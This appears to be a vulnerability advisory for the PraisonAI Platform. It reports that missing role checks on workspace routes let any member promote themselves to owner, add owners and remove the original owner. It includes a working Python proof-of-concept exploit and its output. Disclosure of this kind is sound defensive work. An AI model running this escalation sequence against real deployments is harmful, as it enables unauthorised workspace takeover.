PraisonAI Platform: Missing role checks let any workspace member become owner and control workspace membership

Summary

PraisonAI Platform has a broken workspace authorization check that allows any authenticated low-privilege workspace member to escalate their own role to owner.

The issue is caused by privileged workspace-management routes using the shared dependency require_workspace_member(...) without requiring admin or owner. The dependency defaults to min_role="member", so routes that should be administrative are accessible to ordinary workspace members.

As a result, a normal workspace member can:

• promote their own account from member to owner;
• add arbitrary users as owner or admin;
• change other members' roles;
• remove legitimate owners or members;
• take over workspace membership completely;
• perform destructive workspace operations after escalation.

This is a broken access control / vertical privilege escalation vulnerability.

Details

The vulnerable authorization dependency is defined in:

praisonai_platform/api/deps.py
`

The dependency defaults to the lowest workspace role:

async def require_workspace_member(
    workspace_id: str,
    user: AuthIdentity = Depends(get_current_user),
    session: AsyncSession = Depends(get_db),
    min_role: str = "member",
) -> AuthIdentity:
    ...
    has = await member_svc.has_role(workspace_id, user.id, min_role)

Because min_role defaults to "member", any route using:

Depends(require_workspace_member)

without explicitly passing a stronger role only requires ordinary workspace membership.

Privileged workspace-management routes in:

praisonai_platform/api/routes/workspaces.py

use this dependency unchanged on administrative actions, including:

PATCH  /workspaces/{workspace_id}
DELETE /workspaces/{workspace_id}
POST   /workspaces/{workspace_id}/members
PATCH  /workspaces/{workspace_id}/members/{user_id}
DELETE /workspaces/{workspace_id}/members/{user_id}

These routes allow workspace modification, deletion, member addition, role changes, and member removal. They should require admin or owner, but they currently require only member.

The membership service does not provide a second authorization layer. In:

praisonai_platform/services/member_service.py

the mutation methods perform the requested change after the route-level check passes:

async def add(...):
    member = Member(workspace_id=workspace_id, user_id=user_id, role=role)

async def update_role(...):
    member = await self.get(workspace_id, user_id)
    member.role = new_role

async def remove(...):
    member = await self.get(workspace_id, user_id)
    await self._session.delete(member)

Therefore, the weak route dependency is the effective authorization boundary.

A low-privilege user can also learn their own user.id from the normal authentication response. The login/register response includes the authenticated user object:

TokenResponse.token
TokenResponse.user.id

This allows an invited low-privilege member to target their own membership record and self-promote.

Affected component

Package: praisonai-platform
Verified version: 0.1.2
Verified source commit: d8a8a78
Affected components:
- praisonai_platform/api/deps.py
- praisonai_platform/api/routes/workspaces.py
- praisonai_platform/services/member_service.py
- praisonai_platform/api/routes/auth.py
- praisonai_platform/api/schemas.py

PoC

The following PoC is self-contained and exercises the real PraisonAI Platform FastAPI application path. It does not mock the vulnerable RBAC logic.

The PoC:

1. Creates the real FastAPI app with praisonai_platform.api.app.create_app().
2. Registers three users through the real /api/v1/auth/register route.
3. Creates a workspace as the original owner.
4. Adds the second user as a normal member.
5. Logs in as that low-privilege member.
6. Uses the low-privilege member token to self-promote to owner.
7. Uses the same token to add a third account as owner.
8. Uses the same token to remove the original owner.
9. Confirms the workspace membership has been taken over.

Full

PoC code

#!/usr/bin/env python3
"""Self-contained local replay for PraisonAI Platform workspace RBAC bypass."""

from __future__ import annotations

import asyncio
import os
import sys
import types
import uuid
from pathlib import Path

from httpx import ASGITransport, AsyncClient
from sqlalchemy.ext.asyncio import create_async_engine


REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai"
PLATFORM_ROOT = REPO_ROOT / "src" / "praisonai-platform"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"


def verify_source() -> None:
    expected = {
        PLATFORM_ROOT / "praisonai_platform/api/deps.py": [
            'min_role: str = "member"',
            "member_svc.has_role(workspace_id, user.id, min_role)",
        ],
        PLATFORM_ROOT / "praisonai_platform/api/routes/workspaces.py": [
            '@router.patch("/{workspace_id}", response_model=WorkspaceResponse)',
            '@router.delete("/{workspace_id}", status_code=status.HTTP_204_NO_CONTENT)',
            '@router.post("/{workspace_id}/members", response_model=MemberResponse, status_code=status.HTTP_201_CREATED)',
            '@router.patch("/{workspace_id}/members/{user_id}", response_model=MemberResponse)',
        ],
        PLATFORM_ROOT / "praisonai_platform/services/member_service.py": [
            "member.role = new_role",
            "await self._session.delete(member)",
        ],
    }

    for path, needles in expected.items():
        text = path.read_text(encoding="utf-8")
        for needle in needles:
            if needle not in text:
                raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")


async def main() -> int:
    if not PLATFORM_ROOT.exists() or not AGENTS_ROOT.exists():
        raise SystemExit("missing local PraisonAI source tree")

    verify_source()

    sys.path.insert(0, str(PLATFORM_ROOT))
    sys.path.insert(0, str(AGENTS_ROOT))

    # Minimal passlib stub for local replay environments where passlib is not installed.
    # This keeps the PoC focused on the authorization bug rather than dependency setup.
    if "passlib" not in sys.modules:
        passlib_pkg = types.ModuleType("passlib")
        passlib_pkg.__path__ = []
        sys.modules["passlib"] = passlib_pkg

    if "passlib.context" not in sys.modules:
        passlib_context = types.ModuleType("passlib.context")

        class _CryptContext:
            def __init__(self, *args, **kwargs):
                pass

            def hash(self, password: str) -> str:
                return f"stub::{password}"

            def verify(self, password: str, hashed: str) -> bool:
                return hashed == f"stub::{password}"

        passlib_context.CryptContext = _CryptContext
        sys.modules["passlib.context"] = passlib_context

    # Keep JWT generation deterministic for the local replay.
    os.environ["PLATFORM_JWT_SECRET"] = "test-secret-for-testing-only"

    from praisonai_platform.api.app import create_app
    from praisonai_platform.db.base import Base, reset_engine
    from praisonai_platform.db import base as base_mod

    await reset_engine()

    engine = create_async_engine(
        "sqlite+aiosqlite:///:memory:",
        echo=False,
        connect_args={"check_same_thread": False},
    )

    base_mod._engine = engine
    base_mod._session_factory = None

    async with engine.begin() as conn:
        await conn.run_sync(Base.metadata.create_all)

    app = create_app()
    suffix = uuid.uuid4().hex[:8]
    password = "Password123!"

    transport = ASGITransport(app=app)

    async with AsyncClient(transport=transport, base_url="http://test") as client:
        # 1. Register an owner account.
        owner = await client.post(
            "/api/v1/auth/register",
            json={
                "email": f"owner_{suffix}@example.com",
                "password": password,
                "name": f"owner_{suffix}",
            },
        )

        # 2. Register a low-privilege member account.
        member = await client.post(
            "/api/v1/auth/register",
            json={
                "email": f"member_{suffix}@example.com",
                "password": password,
                "name": f"member_{suffix}",
            },
        )

        # 3. Register a third attacker-controlled account.
        extra = await client.post(
            "/api/v1/auth/register",
            json={
                "email": f"extra_{suffix}@example.com",
                "password": password,
                "name": f"extra_{suffix}",
            },
        )

        owner_json = owner.json()
        member_json = member.json()
        extra_json = extra.json()

        owner_headers = {"Authorization": f"Bearer {owner_json['token']}"}
        member_headers = {"Authorization": f"Bearer {member_json['token']}"}

        # 4. Create a workspace as the owner.
        workspace = await client.post(
            "/api/v1/workspaces/",
            json={
                "name": f"ws-{suffix}",
                "slug": f"ws-{suffix}",
                "description": "rbac bypass poc",
            },
            headers=owner_headers,
        )

        workspace_id = workspace.json()["id"]

        # 5. Owner adds the second user as a normal low-privilege member.
        added_member = await client.post(
            f"/api/v1/workspaces/{workspace_id}/members",
            json={
                "user_id": member_json["user"]["id"],
                "role": "member",
            },
            headers=owner_headers,
        )

        # 6. Low-privilege member self-promotes to owner.
        promoted = await client.patch(
            f"/api/v1/workspaces/{workspace_id}/members/{member_json['user']['id']}",
            json={
                "role": "owner",
            },
            headers=member_headers,
        )

        # 7. The same formerly-low-privilege member adds a third account as owner.
        added_owner = await client.post(
            f"/api/v1/workspaces/{workspace_id}/members",
            json={
                "user_id": extra_json["user"]["id"],
                "role": "owner",
            },
            headers=member_headers,
        )

        # 8. The same account removes the original owner.
        removed_original_owner = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/members/{owner_json['user']['id']}",
            headers=member_headers,
        )

        # 9. Confirm remaining membership state.
        remaining_members = await client.get(
            f"/api/v1/workspaces/{workspace_id}/members",
            headers=member_headers,
        )

        remaining_roles = [m["role"] for m in remaining_members.json()]

        print(f"[poc] owner_status={owner.status_code}")
        print(f"[poc] member_status={member.status_code}")
        print(f"[poc] extra_status={extra.status_code}")
        print(f"[poc] workspace_status={workspace.status_code}")
        print(f"[poc] add_status={added_member.status_code} role={added_member.json()['role']}")
        print(f"[poc] promote_status={promoted.status_code} role={promoted.json()['role']}")
        print(f"[poc] add_owner_status={added_owner.status_code} role={added_owner.json()['role']}")
        print(f"[poc] remove_original_owner_status={removed_original_owner.status_code}")
        print(f"[poc] remaining_roles={remaining_roles}")

        if promoted.status_code != 200 or promoted.json()["role"] != "owner":
            raise SystemExit("[poc] MISS: low-privilege member did not become owner")

        if added_owner.status_code != 201 or added_owner.json()["role"] != "owner":
            raise SystemExit("[poc] MISS: promoted attacker could not add a new owner")

        if removed_original_owner.status_code != 204:
            raise SystemExit("[poc] MISS: promoted attacker could not remove the original owner")

        if remaining_roles.count("owner") < 2:
            raise SystemExit("[poc] MISS: expected attacker-controlled owners after takeover")

        print("[poc] HIT: low-privilege member became owner and took over workspace membership")

    await engine.dispose()
    base_mod._engine = None
    base_mod._session_factory = None

    return 0


if __name__ == "__main__":
    raise SystemExit(asyncio.run(main()))

Observed output

[poc] owner_status=201
[poc] member_status=201
[poc] extra_status=201
[poc] workspace_status=201
[poc] add_status=201 role=member
[poc] promote_status=200 role=owner
[poc] add_owner_status=201 role=owner
[poc] remove_original_owner_status=204
[poc] remaining_roles=['owner', 'owner']
[poc] HIT: low-privilege member became owner and took over workspace membership

Expected secure behavior

The following request should be rejected when made by a plain member:

PATCH /api/v1/workspaces/{workspace_id}/members/{member_user_id}
Authorization: Bearer <member_token>
Content-Type: application/json

{
  "role": "owner"
}

Expected response:

403 Forbidden

Actual vulnerable behavior

The request succeeds:

HTTP 200
role = owner

The same account can then add attacker-controlled owners and remove the original owner.

Impact

A low-privilege workspace member can fully take over a workspace.

Impact includes:

• self-promoting from member to owner or admin;
• granting owner or admin to attacker-controlled accounts;
• changing other members' roles;
• removing legitimate owners or members;
• modifying workspace metadata and settings;
• deleting the workspace;
• taking over workspace-scoped issues, projects, labels, agents, and other resources after role escalation.

The attacker only needs an authenticated low-privilege membership in the target workspace. No race condition, special deployment, or administrator action is required.